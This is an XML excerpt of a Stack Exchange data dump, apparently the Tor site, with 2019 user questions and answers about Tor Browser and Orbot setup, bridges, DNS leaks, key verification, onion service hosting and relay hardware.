  <row Id="20072" PostTypeId="2" ParentId="20067" CreationDate="2019-07-22T05:46:03.590" Score="0" Body="&lt;p&gt;As far as it goes it sound good.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you follow the projects recommendations for browser settings.  There are also various add-ons that can both increase anonymity and make the browser more useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you install any other software, make sure that you have done a search on the &quot;make and model&quot; to verify that it has not been hacked.  To be truthful I would not add any software that has not been vetted by the project in some manner.&lt;/p&gt;&#xA;" OwnerUserId="27377" LastActivityDate="2019-07-22T05:46:03.590" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20074" PostTypeId="2" ParentId="20043" CreationDate="2019-07-22T10:33:38.510" Score="0" Body="&lt;p&gt;Do you really need just the wiki? There are few (many) onion link directories: &lt;a href=&quot;http://vps7nsnlz3n4ckiie5evi5oz2znes7p57gmrvundbmgat22luzd4z2id.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vps7nsnlz3n4ckiie5evi5oz2znes7p57gmrvundbmgat22luzd4z2id.onion/&lt;/a&gt; (fresh onions), &lt;a href=&quot;http://donionsixbjtiohce24abfgsffo2l4tk26qx464zylumgejukfq2vead.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://donionsixbjtiohce24abfgsffo2l4tk26qx464zylumgejukfq2vead.onion/&lt;/a&gt; (Onion link list), &lt;a href=&quot;https://ahmia.fi/address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ahmia.fi/address/&lt;/a&gt; aka &lt;a href=&quot;http://msydqstlz2kzerdg.onion/address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://msydqstlz2kzerdg.onion/address/&lt;/a&gt;, &lt;a href=&quot;http://visitorfi5kl7q7i.onion/address/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://visitorfi5kl7q7i.onion/address/&lt;/a&gt;, &lt;a href=&quot;http://www.cb3rob.org/darknet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cb3rob.org/darknet/&lt;/a&gt; aka &lt;a href=&quot;http://cb3rob5vwac2dtyc.onion/darknet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cb3rob5vwac2dtyc.onion/darknet/&lt;/a&gt; aka &lt;a href=&quot;http://acjhxk5yqwnw2jdu.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://acjhxk5yqwnw2jdu.onion/&lt;/a&gt; aka &lt;a href=&quot;http://llk4g25qoey7vf5a.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://llk4g25qoey7vf5a.onion/&lt;/a&gt; aka &lt;a href=&quot;http://darktugaf7rp27uc.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://darktugaf7rp27uc.onion/&lt;/a&gt; aka &lt;a href=&quot;http://zljgfn5dna2hsefo.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://zljgfn5dna2hsefo.onion/&lt;/a&gt; aka &lt;a href=&quot;http://darkxnlofu2bby27.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://darkxnlofu2bby27.onion/&lt;/a&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="22402" LastActivityDate="2019-07-22T10:33:38.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20075" PostTypeId="1" CreationDate="2019-07-22T15:46:36.527" Score="0" ViewCount="216" Body="&lt;p&gt;I'm new to this, and I've been trying to figure out how to configure orbot and the tor browser. I either get no connectivity or just a few Kbps. I don't know the optimal settings for speed and privacy. I also am curious if I'll have to root my phone to use it and the best way to do that if so. I also need advice on the best sites on the dark web.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the question is duplicate, you can find your answer here &lt;a href=&quot;https://tor.stackexchange.com/questions/13270/how-to-use-bridges-in-orbot/20238#20238&quot;&gt;How to use bridges in Orbot?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27376" LastEditorUserId="27636" LastEditDate="2019-10-08T23:45:50.277" LastActivityDate="2019-10-08T23:45:50.277" Title="How do I set up tor on my android galaxy s9?" Tags="|orbot|android|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2019-10-08T23:46:23.350" ContentLicense="CC BY-SA 4.0" />
  <row Id="20076" PostTypeId="1" CreationDate="2019-07-23T14:08:47.543" Score="0" ViewCount="986" Body="&lt;p&gt;i'm at a loss here. Tried everything but nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not obfs4 nor obfs3; it says connected to bridge but then the loading bar just doesn't move even after an hour and after retrying several times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scramblesuit has error: connection to bridge failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgot what happened with fte but it didn't connect either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the solution of changing the pc timezone (in normal windows) to UTC but still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried all bridges several times on different days etc, pretty sure I don't need IPv6 (checked the connection and it says no).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried anyway tho when the bridges were available but nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The internet i'm connecting too is pretty fast and tried connecting to different wifi's, didn't work anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'm out of them. Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="27382" LastActivityDate="2021-12-16T19:05:40.637" Title="Not any kind of bridge is working" Tags="|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20077" PostTypeId="1" CreationDate="2019-07-24T10:28:05.927" Score="0" ViewCount="606" Body="&lt;p&gt;I cant find the 32 bit version of Tor on the Tor site and keep getting the 64 bit which isn't compatible with my version of Windows&lt;/p&gt;&#xA;" OwnerUserId="27385" LastActivityDate="2019-07-27T09:03:28.757" Title="Where to download Tor 32bit browser" Tags="|tor-install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20079" PostTypeId="1" CreationDate="2019-07-24T23:28:14.780" Score="0" ViewCount="59" Body="&lt;p&gt;I would like to know where the unique asymmetric key pair is stored following installation of the Tor browser.  Is it stored in the HDD/SSD and used repeatedly or in RAM and changed for each browsing session?&lt;/p&gt;&#xA;" OwnerUserId="27389" LastActivityDate="2019-07-25T03:46:09.590" Title="During installation of the Tor browser a unique asymmetric key pair is created and stored. Is this stored on the HDD/SSD and used repeatedly?" Tags="|configuration|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20080" PostTypeId="2" ParentId="20079" CreationDate="2019-07-25T03:46:09.590" Score="1" Body="&lt;p&gt;Nothing is ever &quot;installed&quot; from the Tor Browser that is why it comes in an archive.&#xA;Where did this information come from saying that anything is &quot;installed&quot; from decompressing an archive?&lt;/p&gt;&#xA;" OwnerUserId="27391" LastActivityDate="2019-07-25T03:46:09.590" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20081" PostTypeId="2" ParentId="20077" CreationDate="2019-07-25T03:48:23.097" Score="0" Body="&lt;p&gt;I have a 32bit machine that the regular download seems to work fine on.&#xA;I am not sure that it is architecture specific.&#xA;Have you tried it to see if it works?&lt;/p&gt;&#xA;" OwnerUserId="27391" LastActivityDate="2019-07-25T03:48:23.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20082" PostTypeId="1" CreationDate="2019-07-25T04:46:11.963" Score="2" ViewCount="724" Body="&lt;p&gt;Currently, I'm trying to bootstrap Tor on Whonix.&#xA;The screen says as below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bootstrapping Tor...&#xA;Bootstrap phase: Starting&#xA;0%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's been 30 minutes since this started.&#xA;Does bootstrapping Tor usually take such a long time?&#xA;Or is this only happening because of some kind of trouble on my computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate it if you solve this matter for me.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="27392" LastEditorUserId="435" LastEditDate="2019-08-07T18:43:04.363" LastActivityDate="2020-05-03T23:02:00.233" Title="Bootstrapping of Tor takes so much time" Tags="|whonix|tor-install|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20083" PostTypeId="1" CreationDate="2019-07-25T14:40:18.420" Score="0" ViewCount="278" Body="&lt;p&gt;Are there any hosting companies that offer tor services for hosting a laravel application. Is it even possible to host a laravel application over tor? Also, compile my laravel application and then host it if there are no companies offering such a service.&lt;/p&gt;&#xA;" OwnerUserId="27393" LastActivityDate="2022-04-12T18:06:35.710" Title="Hosting companies that allow hosting a laravel application on tor" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20084" PostTypeId="1" CreationDate="2019-07-26T07:06:10.653" Score="1" ViewCount="9274" Body="&lt;p&gt;If I look for DNS leaks when using Tor Browser, I find none. For example, if I connect to &lt;a href=&quot;https://dnsleaktest.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dnsleaktest.com&lt;/a&gt; in Tor Browser, using even the most lax of the &lt;a href=&quot;https://tb-manual.torproject.org/security-settings/&quot; rel=&quot;nofollow noreferrer&quot;&gt;security settings&lt;/a&gt;, the DNS servers that are reported are all completely different than those I usually use from my ISP. In fact, I get the impression that the DNS is provided by the usual DNS service of whatever Tor Exit Node I'm routed through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, VPNs on Linux &lt;em&gt;always&lt;/em&gt; seem to leak the DNS. Despite testing the advice of numerous different purported solutions (such as &lt;a href=&quot;https://unix.stackexchange.com/questions/434916/how-to-fix-openvpn-dns-leak&quot;&gt;this&lt;/a&gt;, &lt;a href=&quot;https://www.pcsuggest.com/check-and-fix-dns-leak-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://forums.linuxmint.com/viewtopic.php?t=293887&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;) I have found none that works, perhaps because the answers to the questions are (or appear at least) to be provided by people who have found ad-hoc solutions rather than by experts in OpenVPN. In particular, no modifications of the relevant OpenVPN config files seems to inhibit leakage of the DNS. Although cursory check with &lt;a href=&quot;https://dnsleaktest.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnsleaktest.com&lt;/a&gt; often suggest that the DNS is &lt;em&gt;not&lt;/em&gt; being leaked, using the more extensive test that's provided shows that the DNS is actually being served by my regular ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows, the situation is a bit better with regard to using a VPN. The supplied desktop applications of several VPN providers have an option to use their own DNS servers, and no leakage is apparent. Likewise, inserting &lt;code&gt;block-outside-dns&lt;/code&gt; into the relevant OpenVPN config file (under Windows) seems to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions: (1) Does Tor itself prevent the DNS leak, or is it the total environment provided by the Tor Browser bundle that prevents it?&#xA;(2) How is the DNS leakage prevented? (3) Is the method transferable to preventing the DNS leak when using a VPN with Linux?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, I'm not the least bit interested in running &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor in conjunction with a VPN&lt;/a&gt;, either before, or after the Tor connection. I'm interested in knowing what, if anything, I can learn from Tor that might be transferable to working with a VPN.&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="435" LastEditDate="2019-07-28T05:41:01.490" LastActivityDate="2019-07-28T05:41:01.490" Title="DNS in Tor and Tor Browser" Tags="|tor-browser-bundle|dns|openvpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20085" PostTypeId="2" ParentId="20084" CreationDate="2019-07-26T19:33:18.757" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes Tor Browser does a great job of preventing DNS Leaks. Even torsock on the Linux CLI does an admirable job of preventing DNS Leaks for Linux CLI apps. I did some testing on my own with several apps and saw this for myself.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you ever do find a DNS leak, that would be considered to be a major security hole and would be fixed ASAP.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't tell you all of the specifics. Contacting the development team directly would be best. Basically it routes all traffic through Tor via a SOCKS5 proxy which includes DNS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will hear over and over that it is generally &lt;a href=&quot;https://support.torproject.org/faq/faq-5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;not recommended&lt;/a&gt; to use Tor with a VPN. Regardless of whether you use VPN or not, the question is whether the specific app that you are using will use the DNS that you specify or not. Many apps such as Firefox and Chrome will allow SOCK5 with DNS proxy. If that's the case, put in 127.0.0.1:9150 and you'll be considerable safer. If the app doesn't allow that, then you will need to set the proxy in Windows itself. You will need to have the Tor Browser open at all times though to provide the connect to the Tor Network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It can also be possible that a specific app not have a SOCKS5 proxy option and will ignore the system proxy. If that's the case, you have the decide if running it is something that you want to risk.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-26T19:33:18.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20086" PostTypeId="1" CreationDate="2019-07-26T19:43:35.107" Score="3" ViewCount="148" Body="&lt;p&gt;I built tor from source and am running it as a relay (not exit node) and also as a directory server.  It is my understanding that after a while I should experience V2 hidden services publishing their descriptors to me (each hidden service picks 6 directory servers at random to publish their descriptor to).  How can I tell if this is happening? Can I (temporarily, for debugging purposes) view the descriptors being published to me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking their might be some useful logging if I enable debug logs (but I can't find it)?  Or maybe there is something I can get over the control protocol (but I couldn't find anything obvious in the stem API docs that exposes it)?  Or maybe I could make a code change to log this information (I'm not sure where the code is that receives the announcements)?&lt;/p&gt;&#xA;" OwnerUserId="27397" LastActivityDate="2022-01-13T15:06:40.590" Title="What hidden services does my relay node know about?" Tags="|relays|directory|source-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20088" PostTypeId="2" ParentId="20077" CreationDate="2019-07-27T09:03:28.757" Score="1" Body="&lt;p&gt;If you go to the Tor project &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download page&lt;/a&gt; you will see that there is a &lt;a href=&quot;https://www.torproject.org/download/languages/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; labelled &quot;Download in another language or platform&quot;. Click the link, and from the list, choose the 32-bit version you want (Windows) in the language of your choice. &lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2019-07-27T09:03:28.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20089" PostTypeId="2" ParentId="20086" CreationDate="2019-07-27T09:18:32.857" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nyx&lt;/a&gt; is probably the utility that you are looking for to provide that information.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-27T09:18:32.857" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20090" PostTypeId="2" ParentId="20083" CreationDate="2019-07-27T09:30:36.190" Score="0" Body="&lt;p&gt;You will find very few services for specifically hosting Tor services at all and I don't think you'll find any with a preinstalled Laravel configuration. Your best bet us to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get a Linux VPS&lt;/li&gt;&#xA;&lt;li&gt;Set up tor to provide a service on port 80 (or another port if your prefer)&lt;/li&gt;&#xA;&lt;li&gt;Install Laravel on the VPS and compile your site using the port from step #2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not very familiar with Laravel or how secure it is. Is there a chance that it can leak your real IP or other information that you want to keep secure? If so, then it might not be the best approach. If not, then you don't even need a VPS for testing. Try it on your own computer or create a Linux VM to try it there. If it works, then pay for a VPS.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-27T09:30:36.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20091" PostTypeId="2" ParentId="20082" CreationDate="2019-07-27T09:33:58.910" Score="1" Body="&lt;p&gt;Try using a &lt;a href=&quot;https://www.whonix.org/wiki/Bridges&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridge&lt;/a&gt;. There is a chance that your internet service provider is blocking you. This is often the case at workplaces and universities. It really shouldn't take more than 30-60 seconds.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-27T09:33:58.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20093" PostTypeId="1" CreationDate="2019-07-27T11:07:53.163" Score="1" ViewCount="3365" Body="&lt;p&gt;From where I can download the .asc public key for Tor Browser?&#xA;I don't want to add the key using &lt;code&gt;gpg --auto-key-locate nodefault,wkd --locate-keys torbrowser@torproject.org&lt;/code&gt;&#xA;because I read a &lt;a href=&quot;https://gist.github.com/rjhansen/67ab921ffb4084c865b3618d6955275f&quot; rel=&quot;nofollow noreferrer&quot;&gt;note on Github&lt;/a&gt; and that advises high-risk users to stop using the keyserver network immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I can find .asc public key ?&lt;/p&gt;&#xA;" OwnerUserId="27402" LastEditorUserId="435" LastEditDate="2019-08-07T14:32:17.053" LastActivityDate="2019-10-09T05:56:07.383" Title="Where can I download .asc public key for Tor Browser?" Tags="|tor-install|debian|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20094" PostTypeId="2" ParentId="20093" CreationDate="2019-07-27T20:25:18.990" Score="1" Body="&lt;p&gt;I don't know who the person is that wrote that, but the official documentation searches the keyserver to get it.  See here: &lt;a href=&quot;https://support.torproject.org/tbb/how-to-verify-signature/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/how-to-verify-signature/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux you can run the GPG command through torsocks for a greater level of anonymity.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-27T20:25:18.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20095" PostTypeId="2" ParentId="20028" CreationDate="2019-07-27T20:48:04.777" Score="1" Body="&lt;p&gt;Absolutely! However for best practice, you may want to have some kind of separation between the instances for better security. You have two options: 1. Run each hidden service instance in a separate virtual machine. 2. Run each hidden service in a separate container.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third option, if you are Linux savvy but short on system resources is to set up vhosts. This will not provide any separation between the services and if one site gets hacked, then the whole system is at risk. At least in the case of VMs or containers, the hacker would then have to know how to break out of that and then get to your system (not a very easy task).&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-27T20:48:04.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20096" PostTypeId="2" ParentId="20069" CreationDate="2019-07-27T21:41:02.250" Score="1" Body="&lt;p&gt;By not telling us what OS your running, you've made it hard to give you an exact answer.&lt;br&gt;&#xA;The following is a semi-generic answer, that covers the 3 most common OS's to a limited degree.  However it goes much further than simply protecting the TOR browser for the simple fact that without getting outside the OS, there is no guarantee the infector does not have primary OS access, meaning it can see/block any actions with the authority of the OS itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the major OS's(Windows, MacOS, and Linux) have the ability to run virtual machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows 10 pro,edu,enterprise can enable &lt;a href=&quot;https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hyper-V&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.virtualbox.org/wiki/Downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualBox&lt;/a&gt; is available for all three platforms, including Windows 10 home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After enabling/installing the ability to run a virtual machine, you have a couple of choices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to run Windows 10, there is a 60 day eval &lt;a href=&quot;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows 10 VM&lt;/a&gt; available from Microsoft.  This image is 20GB and includes almost everything but the kitchen sink(It may even have that, but I did not download it to see).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For various Open Source OS's here are two sites, &lt;a href=&quot;https://www.osboxes.org/virtualbox-images/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSBoxes&lt;/a&gt; and &lt;a href=&quot;https://virtualboxes.org/images/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualBoxes&lt;/a&gt; that offer links to various VM images, including ones for various Linux distributions, FreeBSD and Open-Solaris among others.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would make the firewall open only for the VM network interface.  At this point only the programs inside the VM can access the internet.  Depending on the exact VM manager your running, you would then be able to download various anti-virus/anti-malware programs to the VM and then copy them over to your primary machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE:  If your VM manager is unable to start claiming another Hypervisor is already running, then it looks like your malware/virus is rootkit with hypervisor capability.  At this point you'll have to get a live run system(either USB or DVD based) installed from another machine and booted on your infected machine, to have a chance to bypass the infection.&lt;/p&gt;&#xA;" OwnerUserId="27377" LastActivityDate="2019-07-27T21:41:02.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20097" PostTypeId="1" AcceptedAnswerId="20098" CreationDate="2019-07-27T21:44:21.613" Score="0" ViewCount="103" Body="&lt;p&gt;I was wondering if it would be possible to connect two tor browser directly. This would be great for P2P applications running in the browser. I was wondering something like one browser creating a hidden service and the other connection to that.&lt;/p&gt;&#xA;" OwnerUserId="27406" LastActivityDate="2019-07-27T22:46:02.390" Title="Run onion service from tor browser" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20098" PostTypeId="2" ParentId="20097" CreationDate="2019-07-27T22:46:02.390" Score="1" Body="&lt;p&gt;No it's not possible at this time. You need to use the standalone client on Linux or Mac.  You can also use it on Linux Subsystem for Windows but it's experimental at best.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-27T22:46:02.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20099" PostTypeId="1" CreationDate="2019-07-28T08:27:53.530" Score="0" ViewCount="1266" Body="&lt;p&gt;I have a windows 10 Laptop. I tried to download TOR, and when I downloaded the first file, the one on their website, it had that message. I downloaded it successfully, but when i tried to open it, it told me my PC couldnt take the version. For direct quote see the title.&lt;/p&gt;&#xA;" OwnerUserId="27409" LastActivityDate="2022-11-04T07:00:00.023" Title="I can't download TOR. When i try it says &quot;This app cant run on your PC. To find a version with your pc, contact the software publisher&quot;" Tags="|windows|help|error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20100" PostTypeId="1" AcceptedAnswerId="20103" CreationDate="2019-07-28T09:18:51.650" Score="0" ViewCount="528" Body="&lt;p&gt;Not to put too fine a point on it, but neither &lt;code&gt;snap&lt;/code&gt; nor &lt;code&gt;apt&lt;/code&gt; are &lt;a href=&quot;https://askubuntu.com/q/1161618/45156&quot;&gt;suitable&lt;/a&gt; for installing current versions of the &lt;code&gt;tor&lt;/code&gt; browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the downloads are available &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;directly&lt;/a&gt; from the &lt;code&gt;tor&lt;/code&gt; site.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2019-07-28T16:06:25.353" Title="snap and apt usage to install the tor browser bundle?" Tags="|tor-browser-bundle|security|linux|ubuntu|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20102" PostTypeId="2" ParentId="20099" CreationDate="2019-07-28T16:00:43.637" Score="0" Body="&lt;p&gt;There is a lot of critical information missing: where you got TOR from, Windows version, 64bit or 32bit, logs, anything else. There are many reasons why an executable file may refuse to run. Some of the reasons may be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bad Architecture (running 64bit version of TOR on a 32bit version of Windows). This is the most likely cause. Please give us your version of Windows and TOR.&lt;/li&gt;&#xA;&lt;li&gt;Sideload apps is configured in Windows Settings to only run apps from the Microsoft Store. (Open Settings then go Update &amp;amp; Security and then For Developers. There, underneath Use Developer Features, lie 3 radio buttons. Ensure that Sideload Apps option is selected)&lt;/li&gt;&#xA;&lt;li&gt;Bad Registry (open an administrator Command Prompt and type the command &lt;code&gt;sfc /scannow&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14292" LastActivityDate="2019-07-28T16:00:43.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20103" PostTypeId="2" ParentId="20100" CreationDate="2019-07-28T16:06:25.353" Score="1" Body="&lt;p&gt;You made a statement and didn't ask a question, but anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a third party tool called &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;torbrowser-Launcher&lt;/a&gt; that is incorporated into many Linux distributions. This will automatically download the latest version of Tor Browser direction from the Tor website, it will check GPG keys to make sure they are correct, and it will even make icons for your in your manu. If you don't trust it, then the best way is to download the tarball from the Tor website yourself, manually check the key that it is signed with, etc. I see no reason not to use torbrowser-Launcher (I trust it more than the Android Play store) but each person needs to be aware of their own security needs.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-28T16:06:25.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20104" PostTypeId="1" CreationDate="2019-07-28T22:47:50.127" Score="1" ViewCount="522" Body="&lt;p&gt;With Javascript enabled in TBB, going to a &lt;a href=&quot;https://bestfirms.com/what-is-my-screen-resolution/&quot; rel=&quot;nofollow noreferrer&quot;&gt;site to detect screen resolution&lt;/a&gt; on Windows 7 gives my actual screen resolution. This is not just some fake value Tor Browser is giving, because it will be different if I change to a lower resolution in the display settings. Is this a bug? I would expect this value to be faked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I am not talking about the resolution of the browser window. I'm talking about the resolution of my entire monitor (1920x1080, in this case, is detected by the website above.)&lt;/p&gt;&#xA;" OwnerUserId="27417" LastEditorUserId="27417" LastEditDate="2019-07-30T01:22:33.333" LastActivityDate="2019-07-30T01:22:33.333" Title="Is it normal for websites to know my monitor resolution?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20105" PostTypeId="2" ParentId="20104" CreationDate="2019-07-29T07:17:04.183" Score="1" Body="&lt;p&gt;This is not a bug, but instead it is a part of how it was designed. We had a fairly lengthy discussion on whether or not we should force Tor Browser to &quot;lie&quot; about it's resolution &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/bxf060/why_not_lie/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Websites get current window size via JavaScript. Everytime you load a&#xA;  page or change the window size, the page can get this information.&#xA;  This is not just for fingerprinting but also useful for layout,&#xA;  formatting, responsiveness etc.. If Tor Browser lies about window&#xA;  size, some pages may look awkward.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Edit: It is not easy to lie about the resolution (whether via&#xA;  JavaScript or CSS @media queries) and then get responsive webpages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With that said, a design decision was made to keep the resolution at a standard so that way everyone who uses it will look the same to a web server that you are visiting.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-29T07:17:04.183" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20106" PostTypeId="1" CreationDate="2019-07-29T08:09:50.737" Score="1" ViewCount="210" Body="&lt;p&gt;I'm thinking about buying a computer to run an exit relay. I wonder what specs would be coherent ? Or should I use a VPS ? &#xA;I have a 500mbps fiber connection at home.&#xA;Thank you &lt;/p&gt;&#xA;" OwnerUserId="27418" LastActivityDate="2019-08-01T19:18:27.273" Title="Need some information about running tor exit Relay" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
